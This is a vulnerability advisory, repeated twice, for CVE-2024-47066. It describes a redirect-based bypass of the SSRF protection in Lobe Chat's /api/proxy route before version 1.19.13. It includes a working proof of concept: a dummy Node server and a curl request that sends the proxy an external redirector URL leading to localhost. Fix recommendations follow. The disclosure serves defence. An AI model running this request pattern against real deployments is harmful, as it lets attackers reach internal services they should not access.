CVE-2024-47066

Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

3. Run in terminal to perform request to lobe-chat instance from [1]

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

4. Observe in output of [2]

running server
/iamssrf_1337

5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

1. Disable redirects - lobe-chat should consider explicitly disable redirects.
2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

3. Run in terminal to perform request to lobe-chat instance from [1]

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

4. Observe in output of [2]

running server
/iamssrf_1337

5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

1. Disable redirects - lobe-chat should consider explicitly disable redirects.
2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf